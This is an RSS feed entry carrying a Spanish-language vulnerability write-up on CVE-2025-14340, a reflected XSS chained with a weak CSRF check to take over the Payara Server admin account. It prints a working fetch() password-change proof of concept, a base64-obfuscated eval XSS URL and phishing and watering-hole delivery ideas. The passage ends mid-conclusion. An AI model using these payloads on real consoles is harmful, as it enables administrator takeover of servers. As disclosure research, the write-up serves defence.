<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:g-custom="http://base.google.com/cns/1.0" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
  <channel>
    <title>deepsecurity</title>
    <link>https://www.deepsecurity.pe</link>
    <description>Acceda a los papers de investigaciones en temas de ciber seguridad que hemos realizado</description>
    <atom:link href="https://www.deepsecurity.pe/feed/rss2" type="application/rss+xml" rel="self" />
    <image>
      <title />
      <url>https://irp.cdn-website.com/210ad002/dms3rep/multi/1547643235105.jpg</url>
      <link>https://www.deepsecurity.pe</link>
    </image>
    <item>
      <title>CVE-2025-14340 De XSS Reflejado a Takeover Completo de Administrador en Payara Server</title>
      <link>https://www.deepsecurity.pe/cve-2025-14340-de-xss-reflejado-a-takeover-completo-de-administrador-en-payara-server</link>
      <description />
      <content:encoded>&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/CVE-2025-14340+xss+to+Admin+account+takeover+in+payara.png"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Análisis rápido
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      
           Durante una revisión de la interfaz REST de administración de
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Payara Server
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           se identificó una cadena de explotación en la que un XSS reflejado podía combinarse con un flujo inseguro de cambio de contraseña para derivar en takeover completo de la cuenta administrator. La severidad real del caso no estaba en una sola falla, sino en la forma en que varias decisiones de diseño reducían la resistencia del panel frente a ejecución de JavaScript en el mismo origen.
           &#xD;
      &lt;br/&gt;&#xD;
      &lt;br/&gt;&#xD;
      
           El impacto no dependía únicamente del XSS. La cadena se volvía crítica por la combinación de cuatro elementos:
           &#xD;
      &lt;br/&gt;&#xD;
      &lt;br/&gt;&#xD;
      
           - XSS reflejado en un endpoint administrativo
           &#xD;
      &lt;br/&gt;&#xD;
      
           - Cambio de contraseña sin validar la contraseña actual
           &#xD;
      &lt;br/&gt;&#xD;
      
           - Basic Auth enviada automáticamente por el navegador
           &#xD;
      &lt;br/&gt;&#xD;
      
           - Protección anti-CSRF débil basada en X-Requested-By
           &#xD;
      &lt;br/&gt;&#xD;
      &lt;br/&gt;&#xD;
      
           En conjunto, esto permitía que un administrador autenticado, al visitar un enlace malicioso, terminara ejecutando una solicitud válida contra el endpoint de cambio de contraseña. Por esta vulnerabilidad me asignaron el
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-14340" target="_blank"&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            CVE-2025-14340
           &#xD;
      &lt;/strong&gt;&#xD;
    &lt;/a&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           XSS y el punto de entrada
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/h2&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            El primer componente era un
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           XSS reflejado
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            en el endpoint de versión de la consola:
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           GET
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      
            
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           /management/domain/version?xss=&amp;lt;payload&amp;gt;
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      
            
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           HTTP/1.1
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Host:
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           panel.example.com:4848
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           En una consola de este tipo, un XSS no solo afecta la vista del usuario. También permite interactuar con funciones sensibles usando el mismo contexto autenticado del administrador.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           El CSRF que convierte el bug en takeover
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/h2&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           El segundo componente estaba en
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
               
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;code&gt;&#xD;
      
           /management/domain/change-admin-password
          &#xD;
    &lt;/code&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
             
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           . De forma resumida, el flujo aceptaba una solicitud similar a esta:
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           POST
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           /management/domain/change-admin-password
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      
            
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           HTTP/1.1
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Host:
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
             
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           panel.example.com:4848
           &#xD;
      &lt;br/&gt;&#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           X-Requested-By:
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           GlassFish REST HTML interface
           &#xD;
      &lt;br/&gt;&#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Content-Type:
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           application/x-www-form-urlencoded
           &#xD;
      &lt;br/&gt;&#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           id=admin&amp;amp;newpassword=[REDACTED]&amp;amp;password=[REDACTED]
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Lo problemático no era solo que cambiara credenciales, sino dos agravantes de diseño:
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
            No exigía la contraseña actual
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
            La “protección” anti-CSRF se basaba en
           &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;code&gt;&#xD;
        &lt;strong&gt;&#xD;
          
             X-Requested-By
            &#xD;
        &lt;/strong&gt;&#xD;
      &lt;/code&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                    
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
              
            &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            .
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            Ese header funcionaba como una cabecera personalizada para marcar que la solicitud provenía del frontend esperado. El problema es que no era un control fuerte frente a JavaScript malicioso ejecutándose
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           same-origin
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           .
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           ¿Header
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      
              
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;code&gt;&#xD;
      &lt;strong&gt;&#xD;
        
            X-Requested-By
           &#xD;
      &lt;/strong&gt;&#xD;
    &lt;/code&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
             
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           ?
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/h2&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;code&gt;&#xD;
      
           X-Requested-By era, en la práctica, la señal que el backend utilizaba para distinguir una solicitud “esperada” de una solicitud arbitraria.
          &#xD;
    &lt;/code&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           La lógica era simple: si la request incluía la cabecera esperada, el servidor la trataba como legítima. Ese enfoque puede frenar algunos intentos externos básicos, pero deja de ser útil cuando un atacante consigue ejecutar JavaScript dentro del mismo origen de la consola.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            A nivel práctico, el comportamiento observado podía resumirse en un payload como la siguiente
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           POC
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      
           .
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           fetch
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           (
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           '/management/domain/change-admin-password'
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           , {
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
            method:
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
            
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
             
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           'POST'
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           ,
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
            headers: {
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           'X-Requested-By'
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           :
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
            
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
             
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           'GlassFish REST HTML interface'
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           ,
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           'Content-Type'
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           :
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
            
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
             
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           'application/x-www-form-urlencoded'
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
            },
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
            body:
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      
              
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           'id=admin&amp;amp;newpassword=admin123&amp;amp;password=admin123'
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           });
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Y ahí aparecía el punto crítico de la cadena: el backend aceptaba una solicitud con la cabecera esperada, mientras el navegador adjuntaba automáticamente las credenciales administrativas mediante Basic Auth.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           https://panel.example.com:4848/management/domain/version?xss
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           &amp;lt;script&amp;gt;
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           eval
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           (
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           atob
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           ('
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           ZmV0Y2goJy9tYW5hZ2VtZW50L2RvbWFpbi9jaGFuZ2UtYWRtaW4tcGFzc3dvcmQnLCB7CiAgbWV0aG9kOiAnUE9TVCcsCiAgaGVhZGVyczogewogICAgJ1gtUmVxdWVzdGVkLUJ5JzogJ0dsYXNzRmlzaCBSRVNUIEhUTUwgaW50ZXJmYWNlJywKICAgICdBY2NlcHQnOiAndGV4dC9odG1sJywKICAgICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJwogIH0sCiAgYm9keTogJ2lkPWFkbWluJm5ld3Bhc3N3b3JkPVAxMjM0JnBhc3N3b3JkPVAxMjM0Jl9fcmVtb3ZlX2VtcHR5X2VudHJpZXNfXz10cnVlJj1jaGFuZ2UtYWRtaW4tcGFzc3dvcmQnCn0pOw==
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           '));
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           &amp;lt;/script&amp;gt;
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Full exploit:
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
             
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://github.com/DeepSecurityResearch/CVE-2025-14340"&gt;&#xD;
      
           https://github.com/DeepSecurityResearch/CVE-2025-14340
          &#xD;
    &lt;/a&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Explotación y Same-Origin
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      
           La explotación no dependía de una petición cross-origin convencional, sino de la ejecución de JavaScript
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           dentro del mismo origen
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            de la consola administrativa.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           ¿Por qué el CSRF solo es explotable mediante el XSS?
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Debido a que el endpoint usa Basic Authentication, explotarlo remotamente desde un origen externo es imposible:
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           - CORS bloquea requests cross-origin al endpoint de administración
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           - Basic Auth no puede forzarse desde otro dominio sin cooperación del navegador
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           - El header X-Requested-By no puede añadirse en requests cross-origin
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Ese detalle era determinante. Una vez obtenido el XSS, el atacante podía interactuar con el endpoint de cambio de contraseña desde el mismo contexto que la interfaz legítima, incluyendo
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                     
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;code&gt;&#xD;
      
           X-Requested-By
          &#xD;
    &lt;/code&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                     
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           y aprovechando el estado autenticado del administrador.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           En ese punto, el XSS dejaba de ser un hallazgo aislado y se convertía en la primitive necesaria para comprometer directamente la cuenta administrativa.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Vectores de ataque
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Campaña de Phishing Dirigido
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
           Un atacante envía un email convincente con apariencia de "actualización de seguridad" que contiene el enlace malicioso. Cuando el administrador hace clic mientras está logueado, la contraseña se cambia silenciosamente.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      &lt;br/&gt;&#xD;
      
           Watering Hole
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      
           El atacante compromete un sitio interno frecuentemente visitado e inyecta un iframe invisible con el exploit. Al visitar el sitio, el exploit se ejecuta automáticamente en segundo plano sin indicación visible.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      &lt;br/&gt;&#xD;
      
           Supply Chain
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      
           Un atacante compromete la documentación de una herramienta usada por el equipo de operaciones. Al seguir un enlace de la documentación para troubleshooting, la cuenta queda comprometida.
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Capacidades del Atacante con acceso a la consola de administración:
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           - Desplegar aplicaciones maliciosas (WAR/EAR files)
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           - Modificar configuración del servidor
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           - Acceder a datos de aplicaciones desplegadas
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           - Crear mecanismos de persistencia
          &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
           - Extraer credenciales de datasources
          &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           Conclusión
          &#xD;
    &lt;/strong&gt;&#xD;
  &lt;/h2&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;strong&gt;&#xD;
      
           CVE-2025-14340
          &#xD;
    &lt;/strong&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
            demuestra cómo vulnerabilidades moderadas se convierten en críticas cuando se encadenan. Un XSS reflejado (severidad media) combinado con ausencia de protección CSRF (severidad baja-media) resultó en account takeover completo de administrador.
           &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
